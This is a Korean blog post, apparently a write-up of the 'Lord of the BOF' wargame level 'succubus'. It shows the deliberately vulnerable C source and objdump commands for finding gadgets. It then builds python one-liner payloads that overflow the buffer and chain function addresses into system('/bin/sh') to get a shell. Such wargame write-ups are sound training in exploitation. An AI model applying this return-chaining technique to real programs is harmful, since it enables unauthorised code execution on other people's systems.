poppop ret 가젯 구하는 방법
SSo@linux$ objdump -d 파일명 | egrep 'pop|ret'
단 이 명령으로 찾을 때 주의할 점은 pop이 연속으로 위치해 있어야 하는걸 잘 기억하고 사용해야한다.
bss 구하는 방법
objdump -h 파일명 | grep "bss"
RET에 DO 함수 주소가 들어감...
/* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); }C언어 소스다. 소스를 보면 공유라이브러리는 사용이 불가능하고, 스택의 ret에는 DO함수의 주소가 있어야 한다. DO의 주소는 gdb에서 memcmp 함수가 실행되기 전에 스택에 push되는 값이랑 같기 때문에 그 값이 DO의 주소값이다. 더 쉽게 찾는 방법은 브레이크 포인트를 걸고 p DO를 입력하면 확인할 수 있다.
이런식으로 각 함수들의 주소를 찾는다.
페이로드를 작성해야한다.
먼저 DO가 실행되고 이 DO가 실행되면 check변수가 1로 초기화 된다. system 함수가 있는 MO함수는 check가 4여야지 실행이 가능한데, DO를 실행하면 check=1이여서 실행을 할 수 없다. 이번엔 GUL함수를 보면 check에 2가 들어간다. 또 YUT를 보면 check에 3이 들어간다. 이런식으로 다른 함수들을 거쳐가면 check에 4다 들어갈 때 그 다음으로 MO함수를 실행하면 된다. 따라서 그 순서는 DO -> GYE -> GUL -> YUT -> MO 이렇게 실행이 되면 된다.
페이로드는 각 함수의 주소로 이어준다.
먼저 NOP으로 SFP까지 채워주고 ret에 DO를 넣고 순서대로 각 함수의 주소를 넣는다. MO까지 넣고 실행하면 아래와 같이 제대로 실행이 안된다.
작성한 페이로드는
`python -c 'print"\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x88\xfa\xff\xbf"'`
MO함수가 system 함수를 실행하면서 cmd라는 명령을 실행한다. 하지만 cmd라는 명령어를 실행할 수 없기 때문에 쉘이 따지지 않는다. 따라서 저 명령어를 /bin/sh로 변경해주면 된다.
현재 저 페이로드 뒤에 MO함수의 ret부분에 더미값을 넣어주고, /bin/sh의 주소를 넣어주면 되는데 /bin/sh의 주소를 gdb에서 찾아보니 주소에 40이 들어가서 페이로드에 넣을 수 없다. 그래서 인자에 문자열로 "/bin/sh"을 넣어주고 직접 그 주소를 찾아서 system함수의 인자에 넣어주면 된다.
`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x90"*4+"\x88\xfa\xff\xbf"+"/bin/sh"'`
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow nightmare (0) | 2017.09.26 |
---|---|
Lord of bufferoverflow succubus (0) | 2017.09.20 |
Lord of bufferoverflow assassin (0) | 2017.08.26 |
Lord of bufferoverflow giant (0) | 2017.08.26 |
Lord of bufferoverflow bugbear (0) | 2017.08.22 |